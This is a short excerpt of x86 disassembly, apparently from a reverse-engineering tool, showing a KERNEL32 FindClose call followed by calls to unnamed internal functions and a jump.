call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403262
lea ecx, [ebp - 0x30]
call fcn.00401f09
jmp 0x40c48f